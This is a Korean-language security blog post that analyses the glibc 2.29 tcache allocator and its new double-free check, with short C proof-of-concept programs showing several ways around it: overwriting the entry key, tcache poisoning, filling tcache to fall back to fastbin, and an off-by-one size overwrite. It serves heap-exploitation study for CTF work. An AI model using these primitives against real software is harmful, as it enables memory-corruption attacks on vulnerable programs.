본문 바로가기

PWN

glibc 2.29 tcache

typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static void
tcache_init(void)
{
  mstate ar_ptr;
  void *victim = 0;
  const size_t bytes = sizeof (tcache_perthread_struct);

  if (tcache_shutting_down)
    return;

  arena_get (ar_ptr, bytes);
  victim = _int_malloc (ar_ptr, bytes);
  if (!victim && ar_ptr != NULL)
    {
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      victim = _int_malloc (ar_ptr, bytes);
    }


  if (ar_ptr != NULL)
    __libc_lock_unlock (ar_ptr->mutex);

  /* In a low memory situation, we may not be able to allocate memory
     - in which case, we just keep trying later.  However, we
     typically do this very early, so either there is sufficient
     memory, or there isn't enough memory to do non-trivial
     allocations anyway.  */
  if (victim)
    {
      tcache = (tcache_perthread_struct *) victim;
      memset (tcache, 0, sizeof (tcache_perthread_struct));
    }

}

tcache를 init하는 함수. 2.27과 딱히 차이점이 보이지 않는다.

//glibc 2.27

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}
//glibc2.29
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

tcache entry에 포인터를 넣는 함수와 포인트를 가져오는 함수. glibc 2.27과 2.29를 비교해보면 e->key에 관련된 부분이 추가된 것을 볼 수 있다. tcache_put에서 e->key에 tcache 구조체의 포인터를 넣는다. tcache_get에서는 e->key을 null로 덮는다. 

double free check

_int_free함수이다. glibc 2.29를 보면 double free를 체크하는 루틴이 새로 생긴 것을 볼 수 있다. 첫번째 조건문에서 e->key==tcache일 경우 double free로 간주한다. 청크를 free하여 청크의 포인터를 tcache->entry에 넣을 경우 호출되는 tcache_put함수를 보면 e->key에 tcache를 넣는다. 따라서 tcache->entries에 존재하는 모든 청크는 e->key==tcache를 만족한다. tcache_get에서는 tcache->enties에서 청크를 가져올 때 e->key에 NULL을 넣는다. 따라서 할당된 청크의 경우 대부분 e->key!=tcache이다. 

다만 첫번째 조건문에서 에러를 유발하면 문제가 발생할 수 있다. 유저가 임의로 e->key에 tcache를 넣을 경우 에러가 발생하기 때문이다. 그런 경우가 많지는 않겠지만, glibc에서는 이런 경우를 대비하여 두번째 조건문까지 만족해야 에러를 발생하도록 하였다. 두번째 조건문에서는 tcache-entries[tc_idx]의 싱글 링크드 리스트를 싹 뒤져보면서 e가 있는지 확인한다. 만약 링크드 리스트에 e가 존재하면 double free로 간주하고 에러를 발생한다. 

 

 

 

double free check 로직을 우회하기 위해서는 다음과 같은 방법을 사용할 수 있다. 

 

1. free된 청크의 e->key를 덮어써버린다.

free된 청크의 e->key 부분을 덮어쓴다면 첫번째 조건문에 걸리지 않아 double free check 로직에 걸리지 않는다. 

#overwrite e->key
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void main(){
	void * ptr1 = malloc(0x20);
	void * ptr2 = malloc(0x20);
	free(ptr1);
	strcpy(ptr1,"aaaaaaaaaaaaaaaaaaaaaaaaaaaa");
	free(ptr1);

}

물론 UAF가 발생한다면 그냥 double free 없이 tcache poisoning을 사용해도 된다.

//tcache poisoning
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char target [0x200];
void main(){
	char stack[0x200];
	long * ptr1 = malloc(0x20);
	free(ptr1);
	*ptr1=&stack;
	void * ptr2 = malloc(0x20);
	void * ptr3 = malloc(0x20);
	printf("%p\n",ptr3);
}

 

 

2. tcache 다 채우기 

tcache는 7개밖에 없음으로 이걸 다 채워버리면 fastbin을 쓰게 된다. 그 다음은 16.04에서 많이 하던거 그대로 쓰면 된다.

//fill up tcache
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void main(){
	void * ptr0 = malloc(0x20);
	void * ptr1 = malloc(0x20);
	void * ptr2 = malloc(0x20);
	void * ptr3 = malloc(0x20);
	void * ptr4 = malloc(0x20);
	void * ptr5 = malloc(0x20);
	void * ptr6 = malloc(0x20);
	void * ptr7 = malloc(0x20);
	void * ptr8 = malloc(0x20);
	free(ptr0);
	free(ptr1);
	free(ptr2);
	free(ptr3);
	free(ptr4);
	free(ptr5);
	free(ptr6);
	free(ptr7);
	free(ptr8);
	free(ptr7);

}

3. tcache와 fastbin에 같은 청크 넣기 (https://github.com/0xTac/CTF/tree/master/2019/D3CTF)

 

두 번째 조건문에서는 청크가 tcache->entries에 있는지만 확인하고 fastbin에 있는지는 확인하지 않는다.

  1. tcache를 다 채운 후 fastbin에 청크를 하나 넣는다
  2. 청크 하나를 할당한다
  3. fastbin에 있는 청크를 free한다

이를 통해 fastbin과 tcache에 같은 청크가 있게 할 수 있다. 다만 마지막 malloc에서 malloc_consolidate에러가 나는데, 해당 부분 분석 후 우회 필요

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void main(){
	void * ptr0 = malloc(0x20);
	void * ptr1 = malloc(0x20);
	void * ptr2 = malloc(0x20);
	void * ptr3 = malloc(0x20);
	void * ptr4 = malloc(0x20);
	void * ptr5 = malloc(0x20);
	void * ptr6 = malloc(0x20);
	void * ptr7 = malloc(0x20);
	free(ptr0);//1
	free(ptr1);//2
	free(ptr2);//3
	free(ptr3);//4
	free(ptr4);//5
	free(ptr5);//6
	free(ptr6);//7
	free(ptr7);//fast
	void * victim1=malloc(0x20);
	free(ptr7);
	void * victim2=malloc(0x20);
	printf("victim1 : %p\n victim2 : %p\n",victim1,victim2);

}

 

4. double free and off-by-one (2020-03-06 update) 

 

별 생각없이 블로그에 쓴 글 다시 읽다가 생각났다. double free를 체크하는 두 번째 로직에서 tcache를 순회할 때 자신의 사이즈에 맞는 tcache만 탐색한다. 따라서 double free 전에 off-by-one으로 size를 덮어버린다면 double free를 트리거할 수 있다. 다만 UAF(double free)와 heap overflow(off-by-one)가 동시에 발생해야 하는 트릭이라 얼마나 유용할지는 모르겠다

 

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void main(){
    char * a = malloc(0x18);
    char * b = malloc(0x18);
    printf("%p\n",b);
    free(b);
    strcpy(a,"aaaaaaaaaaaaaaaaaaaaaaaa\x41");
    free(b);
    printf("%p\n",malloc(0x18));
    printf("%p\n",malloc(0x30));
}

 

 

 

TODO 

  •   double free check bypass 방법 더 찾기 
  •   glibc 2.29 힙 문제 풀어보기

 

reference

 

'PWN' 카테고리의 다른 글

[CISCN 2017] BabyDriver  (0) 2020.02.04
2019 defcon/ babyheap  (0) 2020.01.04
calloc without memset 0  (0) 2019.12.30
glibc 2.29 malloc 분석1. [청크, malloc]  (0) 2019.12.27
34c3 / SimpleGC  (0) 2019.12.27